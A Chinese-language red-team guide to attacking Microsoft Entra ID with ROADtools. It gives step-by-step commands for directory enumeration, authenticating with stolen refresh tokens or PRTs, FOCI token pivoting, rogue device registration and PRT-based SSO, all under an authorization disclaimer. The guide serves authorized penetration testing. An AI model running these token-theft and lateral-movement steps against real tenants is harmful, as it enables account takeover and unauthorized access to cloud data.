使用 ROADtools 攻击与枚举 Microsoft Entra ID:从目录侦察到 PRT 令牌滥用完整实战指南
本指南以本仓库 skills/attacking-entra-id-with-roadtools/SKILL.md 为骨架,系统讲解在获得书面授权的红队或云渗透测试中,如何使用 ROADrecon 对 Microsoft Entra ID(Azure AD)租户进行目录枚举与离线分析,并使用 roadtx 完成令牌获取、FOCI 跨资源令牌交换、设备注册与 PRT(Primary Refresh Token)级 SSO 攻击。读完本文,你将掌握一条从初始凭据到租户全域视野、再到跨资源横向令牌授权的完整攻击链路,并能将其映射到 MITRE ATT&CK 的 Discovery 与 Credential Access 战术。
概述:ROADtools 双组件架构
ROADtools(作者 Dirk-jan Mollema)是面向 Microsoft Entra ID 的攻防标准工具集,由两个核心组件构成,分别覆盖「侦察」与「令牌操纵」两条战线:
- ROADrecon:负责认证到 Entra ID,通过 Azure AD Graph API 将整个目录抓取到本地 SQLite 数据库(默认
roadrecon.db),并提供 Angular Web GUI 离线浏览用户、组、角色、应用程序、服务主体、条件访问策略与设备对象。其插件系统可导出 BloodHound 格式数据并分析 CA 策略。 - roadtx(ROADtools Token eXchange):负责获取与交换 Entra 签发的令牌,覆盖 ROPC、设备代码、授权码、刷新令牌交换、应用/联合应用等多种 OAuth 流程,并执行设备注册与 PRT 操作(包括 PRT 级 SSO 与浏览器 cookie 铸造)。其 FOCI(Family of Client IDs)感知能力允许将某一方第一方客户端的刷新令牌兑换为另一资源(如将 Azure CLI 令牌兑换为 Microsoft Graph 令牌)。
两者组合覆盖了针对云身份的 Discovery(侦察) 阶段:枚举租户(ATT&CK T1087.004 Cloud Account Discovery),并获取/操纵访问 Microsoft Graph、Azure Resource Manager 及其他资源所需的令牌。ROADrecon 的离线数据库让侦察变得隐蔽且快速;roadtx 则让令牌窃取、PRT 滥用与跨资源横向授权成为现实。
何时使用本技能
在以下授权场景中启用本技能:
- 在获得授权的 Azure / Entra ID 红队或云渗透测试期间;
- 当你已拥有立足凭据、刷新令牌或 PRT,需要枚举整个租户时;
- 当需要把令牌从一个资源(如 Azure CLI)横向转换到另一个资源(如 Microsoft Graph)时;
- 当需要验证条件访问、设备合规与令牌控制是否真正约束了攻击者时;
- 当需要映射 Entra 攻击路径(导出到 BloodHound 进行图分析)时。
⚠️ 授权使用声明:ROADtools 会与真实的 Microsoft Entra ID 租户交互,能够注册设备、铸造与交换令牌、枚举目录对象。请仅对你自己拥有或获得书面明确授权测试的租户使用。未经授权访问云租户属于违法行为。
前置条件与安装
开始之前需满足:
- 目标租户的书面授权与明确范围;
- 一个起始凭据:用户名/密码(不支持 MFA 流程)、设备代码会话、刷新/访问令牌,或已注册设备的 PRT;
- Python 3.7+(roadtx 的 Selenium 流程需要匹配的 geckodriver/Firefox)。
# 核心安装(roadlib 为共享依赖,会自动拉取)
python -m pip install roadrecon
python -m pip install roadtx
# 验证安装
roadrecon --help
roadtx --help
安装完成后,建议将本技能目录下的 scripts/agent.py 加入 PATH——它是一个封装了 roadrecon/roadtx 二进制的实战编排器(详见下文「编排器脚本」小节)。
技术目标
- 通过合适的流程认证到 Entra ID(MFA 场景优先设备代码流程);
- 使用 ROADrecon 抓取完整目录并在 GUI 中分析;
- 将目录导出到 BloodHound,并运行 CA 策略分析插件;
- 使用 roadtx 获取令牌,并在资源/客户端间交换刷新令牌;
- 演示 PRT 级 SSO 并记录由此获得的访问权限。
MITRE ATT&CK 战术映射
| ID | 战术 | 官方技术名称 | 在本技能中的作用 |
|---|---|---|---|
| T1087.004 | Discovery | Account Discovery: Cloud Account | ROADrecon 枚举租户用户/账户 |
| T1069.003 | Discovery | Permission Groups Discovery: Cloud Groups | ROADrecon 枚举 Entra 组与角色 |
| T1538 | Discovery | Cloud Service Dashboard | GUI 探索租户配置 |
| T1550.001 | Defense Evasion / Lateral Movement | Use Alternate Authentication Material: Application Access Token | roadtx 跨资源刷新令牌交换 |
| T1528 | Credential Access | Steal Application Access Token | roadtx PRT/令牌获取 |
本技能同时映射到 NIST CSF 2.0 的 ID.AM-03(组织授权网络通信与内部/外部网络数据流的表示得以维护):ROADrecon 的枚举产出了防御方必须维护、攻击方则会利用的目录/身份资产清单,该演练验证了此资产面的可见性。完整的标准依据参见 references/standards.md。
完整攻击工作流(8 步)
Step 1:使用 ROADrecon 认证
根据你的立足点选择认证流程。设备代码流程支持 MFA;ROPC(-u/-p)不支持 MFA。
# 用户名/密码(传统方式,不支持 MFA)
roadrecon auth -u user@tenant.onmicrosoft.com -p 'Password123!'
# 设备代码流程(支持 MFA)
roadrecon auth --device-code
# 使用窃取的访问或刷新令牌
roadrecon auth --access-token <JWT>
roadrecon auth --refresh-token <refresh_token>
# 使用 PRT(带会话密钥),获得 SSO 级访问
roadrecon auth --prt <prt> --prt-sessionkey <session_key>
认证成功会在当前工作目录写入 .roadtools_auth 认证状态文件。
Step 2:抓取目录数据
# 全量抓取到 roadrecon.db(默认)
roadrecon gather
# 包含 MFA/认证方法详情(需要特权角色)
roadrecon gather --mfa
--mfa 标志会额外抓取用户的 MFA 注册状态,但这需要当前身份具备足够的目录角色权限,权限不足时会失败——这本身就是一种权限检测信号。
Step 3:GUI 离线探索
roadrecon gui
# 浏览器访问 http://127.0.0.1:5000 —— 用户、组、角色、应用程序、
# 服务主体、设备与条件访问策略,全部离线浏览。
由于数据已本地化到 SQLite,后续所有分析均不产生对租户的网络请求,侦察行为隐蔽高效。
Step 4:运行分析插件
# 分析条件访问策略
roadrecon plugin policies -h
roadrecon plugin policies
# 导出可被 BloodHound 导入的数据格式
roadrecon plugin bloodhound -h
roadrecon plugin bloodhound
BloodHound 导出后,可结合 BloodHound CE 对导出的 Entra 数据进行图分析,映射身份攻击路径。条件访问策略插件则会解析各策略的授予控制、条件与排除项,帮助评估 CA 是否真正构成了约束。
Step 5:使用 roadtx 获取令牌
# ROPC:为 Azure CLI 客户端获取 Microsoft Graph 令牌
roadtx gettokens -u user@tenant.com -p 'Password123!' -c azcli -r msgraph
# 设备代码式交互认证(Teams 客户端到 Graph)
roadtx interactiveauth -c msteams -r msgraph
# 从现有刷新令牌获取
roadtx gettokens --refresh-token <refresh_token> -r msgraph
令牌写入 .roadtools_auth(使用 --tokens-stdout 可直接打印到标准输出,便于脚本化收集)。
Step 6:跨资源交换刷新令牌(FOCI 横向授权)
FOCI 机制下,为某一第一方客户端获取的刷新令牌可无需重新认证即可兑换为另一资源。这是 T1550.001(Use Alternate Authentication Material)在云身份侧的经典落地:
# 将存储的刷新令牌转换为 Azure Resource Manager 令牌
roadtx refreshtokento -r azrm
# 通过 Teams 客户端转换为带作用域的 Graph 令牌
roadtx refreshtokento -c msteams -r msgraph
# 查找持有某作用域的第一方客户端
roadtx getscope -s https://graph.microsoft.com/mail.read --foci
Step 7:设备注册与 PRT 级 SSO
PRT 是绑定设备的 SSO 神器,roadtx 可完整复现其生命周期:
# 向租户注册(虚拟)设备
roadtx device -n redteam-device
# 使用设备证书/密钥与用户凭据请求 PRT
roadtx prt -u user@tenant.com -p 'Password123!' --key-pem redteam-device.key --cert-pem redteam-device.pem
# 使用 PRT 为客户端认证到资源(SSO 级)
roadtx prtauth -c msteams -r msgraph
# 为 PRT 补充交互式 MFA 声明
roadtx prtenrich -u user@tenant.com
prtenrich 通过交互式认证为已获取的 PRT 注入 MFA 声明,可显著提升令牌的信任等级,绕过依赖「是否通过 MFA」判断的风险评估。
Step 8:检查令牌
# 解码并打印指定令牌的声明
roadtx describe -t <JWT>
# 从 .roadtools_auth 读取令牌并格式化输出
roadtx describe < .roadtools_auth | jq .
命令速查:ROADtools 参考表
完整的命令参考位于 references/api-reference.md,核心要点如下:
ROADrecon 命令
| 命令 | 用途 | 关键参数 |
|---|---|---|
roadrecon auth |
认证到 Entra ID | -u 用户,-p 密码,--device-code,--access-token,--refresh-token,--prt,--prt-sessionkey,--prt-cookie,--prt-init |
roadrecon gather |
抓取目录到 roadrecon.db | --mfa(需要特权角色) |
roadrecon gui |
启动 Angular GUI(http://127.0.0.1:5000) | — |
roadrecon plugin policies |
分析条件访问策略 | -f 文件,-p |
roadrecon plugin bloodhound |
导出 BloodHound 格式 | — |
认证状态存于 .roadtools_auth;目录数据存于 roadrecon.db。
roadtx 令牌获取
| 命令 | 用途 | 关键参数 |
|---|---|---|
roadtx gettokens |
获取令牌(ROPC / 刷新) | -u,-p,-c 客户端,-r 资源,-s 作用域,--refresh-token,--cae,--tokens-stdout |
roadtx interactiveauth |
交互式(浏览器)认证 | -u,-p,-c,-r,-ru 重定向 URL |
roadtx codeauth |
用授权码交换令牌 | — |
roadtx refreshtokento |
将存储的 RT 转换为另一资源 | -r,-s,-c |
roadtx appauth |
应用(客户端凭据)认证 | -c,-p 密钥,-t 租户,-r,-s,--cert-pem,--key-pem,--cert-pfx,--pfx-pass |
roadtx federatedappauth |
联合应用认证(工作负载身份) | -c,--cert-pem,--key-pem,--subject,-t,--issuer,-s,--kid |
roadtx 设备与 PRT
| 命令 | 用途 | 关键参数 |
|---|---|---|
roadtx device |
注册/删除设备 | -n 名称,-a 动作,-c 证书,-k 密钥 |
roadtx hybriddevice |
注册混合加入设备 | — |
roadtx prt |
请求/续期 PRT | -u,-p,--key-pem,--cert-pem,-a 动作,-r 刷新令牌 |
roadtx prtauth |
使用 PRT 认证客户端 | -c,-r,-f PRT 文件,--prt,--prt-sessionkey,--tokens-stdout |
roadtx browserprtauth |
使用 PRT 进行浏览器认证 | -url,-c,-r,-f |
roadtx browserprtinject |
注入 PRT 合规声明 | -u,-r,-c |
roadtx prtenrich |
为 PRT 添加 MFA 声明 | -u |
roadtx prtcookie |
从 PRT 铸造浏览器 cookie | — |
roadtx 实用工具
| 命令 | 用途 | 关键参数 |
|---|---|---|
roadtx describe |
解码令牌声明 | -t 令牌(或从 stdin) |
roadtx decrypt |
解密 JWE 令牌 | — |
roadtx getscope |
查找持有某作用域的客户端 | -s,--foci |
roadtx getotp |
从种子生成 TOTP | <seed> |
roadtx listaliases |
列出客户端/资源别名 | — |
roadtx keepassauth |
从 KeePass 进行 Selenium 认证 | -c,-u,-kp,-kpp,-url,--keep-open |
roadtx sharepointlogin |
认证到 SharePoint/OneDrive | <token>,--host |
常用客户端(-c)与资源(-r)别名:客户端 azcli、msteams、msgraph(作为客户端时)、office、broker;资源 msgraph、azrm、aadgraph、devicereg。完整列表用 roadtx listaliases 查看。
源码级佐证:编排器脚本的调用链
本技能目录下的 scripts/agent.py 用不到 150 行代码封装了上述完整工作流,是从代码层面理解各命令真实调用关系的绝佳样本。其子命令设计直接对应工作流阶段:
recon子命令:先执行roadrecon auth(agent.py),认证参数按优先级解析——--device-code优先,其次--access-token、--refresh-token,最后回退到-u/-p(见auth_args函数,agent.py);认证成功后按标志链式调用roadrecon gather [--mfa]、roadrecon plugin bloodhound、roadrecon plugin policies。这印证了 SKILL.md 中「先 auth、再 gather、后 plugin」的固定时序。tokens子命令:构造roadtx gettokens命令(agent.py),默认客户端azcli、默认资源msgraph,与 Step 5 的命令行示例完全一致。pivot子命令:调用roadtx refreshtokento -r <resource>(agent.py),即 Step 6 的 FOCI 横向授权。describe子命令:读取本地.roadtools_auth并通过 stdin 管道给roadtx describe(agent.py),与 Step 8 的管道用法等价,同时佐证了.roadtools_auth是令牌状态的统一存储介质。
实际使用示例:
python agent.py recon --device-code --gather --bloodhound
python agent.py recon -u user@tenant.com -p 'Pass!' --gather
python agent.py tokens -u user@tenant.com -p 'Pass!' -c azcli -r msgraph
python agent.py pivot -r azrm # 将存储的 RT 交换为 ARM
python agent.py describe # 解码 .roadtools_auth 令牌
该脚本同时是理解底层工具依赖关系的好入口:require() 函数会在 roadrecon/roadtx 不在 PATH 时给出明确的安装提示(pip install roadrecon roadtx),而 run() 的统一 stderr 日志输出([>] 前缀)也方便红队回放每一步真实执行的命令。
验证清单
完成一次完整演练后,用以下清单确认成果:
- [ ] 通过授权流程认证到目标租户,生成
.roadtools_auth; - [ ] 目录抓取到
roadrecon.db(角色允许时加--mfa); - [ ] GUI 已探索,审查了用户、组、角色、应用与 CA 策略;
- [ ] CA 策略与 BloodHound 插件已执行,数据已导出;
- [ ] 使用 roadtx 为至少一个资源获取了令牌;
- [ ] 已演示将刷新令牌交换到第二个资源(FOCI 横向授权);
- [ ] 在范围内时,已注册设备并演示 PRT 级 SSO;
- [ ] 使用
roadtx describe检查了令牌声明; - [ ] 已为报告文档记录发现与访问权限。
工具与资源
| 工具 | 用途 |
|---|---|
| ROADtools(仓库) | 工具集总览与 wiki |
| ROADrecon wiki | auth/gather/gui/plugin 用法 |
| roadtx wiki | 令牌交换 + PRT/设备流程 |
| BloodHound CE | 对导出的 Entra 数据进行图分析 |
| Microsoft identity platform | 令牌/流程参考(OAuth 2.0 / OIDC) |
相关标准背景可参考 references/standards.md:roadtx 所实践的授权码、ROPC、设备代码与刷新令牌流程由 Microsoft identity platform(OAuth 2.0 / OIDC)定义;FOCI 是微软第一方客户端家族,支持跨客户端刷新令牌兑换;PRT 则是本技能通过 roadtx prt/prtauth 滥用的设备绑定 SSO 神器。
结语
ROADtools 将「云身份侦察」与「令牌攻击」两个阶段无缝衔接:ROADrecon 负责把整个租户目录拉取为可离线分析的资产全景,roadtx 则把获得的任意令牌转化为跨越 Graph、ARM 等多资源的横向移动能力,而 PRT 流程更是直达设备级 SSO 信任链。本文的每一步命令、每一个参数、每一条 ATT&CK 映射,均可在本仓库 SKILL.md、api-reference.md 与 agent.py 中找到对应依据。请始终在书面授权范围内使用这些能力,并将发现完整记录进渗透测试报告,帮助组织认清并收敛自身的云身份攻击面。
atomcodeClaude Code 的开源替代方案。连接任意大模型,编辑代码,运行命令,自动验证 — 全自动执行。用 Rust 构建,极致性能。 | An open-source alternative to Claude Code. Connect any LLM, edit code, run commands, and verify changes — autonomously. Built in Rust for speed. Get StartedRust0634
MiniCPM5-2BMiniCPM5-2B 是一款面向端侧、本地部署和资源受限场景的 2B 稠密 Transformer,能够达到同尺寸开源模型 SOTA 水平。Markdown00
jforgamejforgame是一个一站式游戏服务器开发框架。包含游戏服务器开发所需要的各种组件,比如网关,socket服务端与客户端,自定义高效消息编解码,游戏热更新,游戏通用工具等等。包含游戏服,跨服,匹配服,后台管理系统等实现,同时提供大量业务案例以供学习。亦可用于其他socket应用,例如及时聊天等。Java01
fizz-gateway-nodeAn Aggregation API Gateway in Java . FizzGate 是一个基于 Java开发的微服务聚合网关,是拥有自主知识产权的应用网关国产化替代方案,能够实现热服务编排聚合、自动授权选择、线上服务脚本编码、在线测试、高性能路由、API审核管理、回调管理等目的,拥有强大的自定义插件系统可以自行扩展,并且提供友好的图形化配置界面,能够快速帮助企业进行API服务治理、减少中间层胶水代码以及降低编码投入、提高 API 服务的稳定性和安全性。Java00
certd开源SSL证书管理工具;全自动证书申请、更新、续期;通配符证书,泛域名证书申请;证书自动化部署到阿里云、腾讯云、主机、群晖、宝塔;https证书,pfx证书,der证书,TLS证书,nginx证书自动续签自动部署JavaScript00
Spark-X2.5-1.7BSpark-X2.5-1.7B 旨在让强大的 AI 更加实用、高效且易于获取。这些模型在广泛的日常任务中表现出色,涵盖对话、写作、翻译、推理、编程、工具调用和智能体工作流,并在同等规模的开源模型中取得领先结果。Spark-X2.5 将面向效率的架构与最高 1M tokens 的原生上下文窗口相结合,并支持 200 多种语言。Python00